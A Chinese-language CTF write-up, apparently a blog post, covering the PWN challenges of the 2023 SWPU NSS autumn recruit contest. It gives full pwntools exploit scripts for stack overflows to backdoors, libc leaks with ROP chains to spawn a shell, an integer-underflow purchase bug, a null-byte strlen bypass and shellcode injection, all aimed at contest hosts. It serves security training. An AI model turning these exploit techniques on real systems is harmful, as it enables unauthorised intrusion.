2023年SWPU NSS 秋季招新赛 PWN

简介:

西南石油大学举办的一场新生赛,总体来说举办的不错,支持支持,明年再来!!!


guess me

签到题,nc再猜猜就完事了


签到

签到题,栈溢出,带有后面函数,唯一需要注意的就是需要栈平衡(加个ret就行)

exp如下:

from pwn import *
context(arch="amd64",os="linux",log_level="debug")

#io =process("./111")
io =remote('node4.anna.nssctf.cn',28836)

backdoor =0x401232
ret_addr =0x40101a

payload =b'A'*(0X30 +8) +p64(ret_addr) +p64(backdoor)

io.sendline(payload)
io.interactive()

ezlibc

经典32位泄露libc,不太懂的可以看看Pwn Pwn Pwn!!! 技巧(1),这题就是通过write函数泄露libc,自己构造rop链,来获取shell

exp如下:

from pwn import *
context(arch="amd64",os="linux",log_level="debug")

#io =process("./111")
io =remote('node6.anna.nssctf.cn',28337)
elf =ELF('./111')
libc =ELF('./libc-2.31.so')

ret_addr =0x804900e
main_addr =0x80491B6

payload =b'A'*(0x10 +4) +p32(elf.plt['write']) +p32(main_addr) +p32(1)+ p32(elf.got['write']) +p32(4)

io.recvuntil(b'Hello, there is a ez libc test!!!input:')
io.sendline(payload)

write_addr = u32(io.recvuntil(b'\xf7')[-4:])
print(hex(write_addr))

libc_base = write_addr - libc.sym['write']
sys_addr = libc_base + libc.sym['system']
bin_sh = libc_base +  next(libc.search(b"/bin/sh\x00"))

payload =b'A'*(0x10 +4) +p32(ret_addr) +p32(sys_addr) +p32(0) +p32(bin_sh)

io.sendline(payload)
io.interactive()

buy

这题也不难,认真的代码审计就行,仔细的去理清里面的逻辑就行,刚开始看vuln函数,你就会发现door函数里面发生了栈溢出,并且还带有后门函数mygift,可以利用栈溢出来获得shell,那我们的首要目的就是让key等于 1 ,这样才能执行door函数

然后我们就找啊找啊,发现在food函数可以实现key等于1,但前提就是money必须大于10000,同时你也会发现money的数据类型是无符号整形,让他等于负数,就可以实现整形溢出的效果,这样money就会蹭蹭的往上涨,其次需要注意的就是不同函数的来回切换,你需要想好你要干什么,这样才能获得shell,这题同样需要栈平衡(怎么判呢?如果 payload =垃圾数据 +system +binsh打不通的话,不妨试试在system前面加个 ret栈平衡一下 )

exp如下:

from pwn import *
context(arch="amd64",os="linux",log_level="debug")

#io =process("./111")
io =remote('node6.anna.nssctf.cn',28209)

backdoor =0x401544
ret_addr =0x40101a

io.sendlineafter(b'your choice:\n',b'1')
io.sendlineafter(b'what do you want?\n',b'1')
io.sendlineafter(b'How many?\n',b'-11')

io.sendlineafter(b'your choice:\n',b'2')
io.sendlineafter(b'what do you want?\n',b'1')
io.sendlineafter(b'How many?\n',b'1')

payload =b'A'*(0XA +8) +p64(ret_addr) +p64(backdoor)

io.recvuntil(b'input:\n')
io.sendline(payload)
io.interactive()

神奇的strlen

查看一下保护机制,只打开了NX

ida反汇编一下,发现发生了栈溢出,但是前提是需要绕过strlen(只需要通过 '\x00' 绕过),还有一个点需要注意就是上面需要输入一个整数(尽可能大点的数就行),这里有个坑不知道你们踩了没,这题是用 puts_addr = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) (而不是用 puts_addr = u64(p.recvuntil(b'\x7f')[:6].ljust(8, b'\x00'))希望大家注意一下,弄得我想半天没有写出来)准备工作完毕,开干

exp如下:

from pwn import *
from LibcSearcher import *
context(arch='amd64',os='linux',log_level='debug')

p =remote('node4.anna.nssctf.cn',28171)
elf =ELF('./111')
libc = ELF('libc.so.6')

got_addr = elf.got['puts']
plt_addr = elf.plt['puts']
main_addr =0x4011F6
rdi_addr =0x401373
ret_addr =0x40101a

p.sendlineafter('How many bytes do you want to input?\n',b'200')

payload =b'\x00' +b'A'*(0x40 +7) +p64(rdi_addr) +p64(got_addr) +p64(plt_addr) +p64(main_addr)
p.recvuntil(b'input something else~\n')
p.sendline(payload)

puts_addr = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
print(hex(puts_addr))

#put_addr =u64(io.recv(6).ljust(8,b'\x00'))
#print(hex(put_addr))

libc_base = puts_addr - libc.sym['puts']
sys_addr = libc_base + libc.sym['system']
bin_sh = libc_base +  next(libc.search(b"/bin/sh\x00"))

p.sendlineafter('How many bytes do you want to input?\n',b'200')

payload=b'\x00' +b'a'*(0x40 +7) +p64(ret_addr) +p64(rdi_addr) +p64(bin_sh) +p64(sys_addr)
p.recvuntil(b'input something else~\n')

p.sendline(payload)
p.interactive()

Shellcode

正常的一道shellcode的题目,刚开始不能反汇编,以为会很难(因为汇编代码不是很懂),结果发现直接上就完事了(注意一下64位的环境就行)

exp如下:

from pwn import *
context(log_level='debug',arch='amd64', os='linux')

#p=process('./111')
p=remote('node4.anna.nssctf.cn',28131)

#payload = b'\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\xb0\x3b\x99\x0f\x05'

payload =asm(shellcraft.sh())

p.sendline(payload)
p.interactive()

总结:

这次比赛总体不错,RE和CRYPTO都做了些,可惜的就是PWN没有ak,暴露出了自己的弱点,还是要慢慢沉淀,对汇编还真的不是很熟,加油吧,冲冲冲!!!

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 2
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值